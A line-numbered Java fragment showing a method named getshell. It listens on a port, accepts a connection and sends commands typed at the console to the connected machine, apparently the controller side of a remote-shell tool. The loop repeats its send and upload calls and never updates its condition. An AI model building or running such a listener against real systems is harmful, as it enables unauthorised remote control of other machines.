| 71 | } |
| 72 | |
| 73 | private static boolean getshell(int port) throws Exception { |
| 74 | connectionSocket = null; |
| 75 | ServerSocket serverSocket = new ServerSocket(port, 0); |
| 76 | Scanner sc = new Scanner(System.in); |
| 77 | boolean complete; |
| 78 | boolean a =sc.hasNext(); |
| 79 | while (a){ |
| 80 | if (connectionSocket == null) { |
| 81 | connectionSocket = serverSocket.accept(); |
| 82 | } |
| 83 | DataOutputStream outToClient = new DataOutputStream(connectionSocket.getOutputStream()); |
| 84 | String cmd = getcmd(sc); |
| 85 | outToClient.writeBytes(cmd + "\n"); |
| 86 | upload(); |
| 87 | outToClient.writeBytes(cmd + "\n"); |
| 88 | upload(); |
| 89 | } |
| 90 | connectionSocket.close(); |
| 91 | return true; |
| 92 | } |
| 93 | |
| 94 | /** |
| 95 | * In upload mode, server reads data from its standard input device and writes it to the socket. |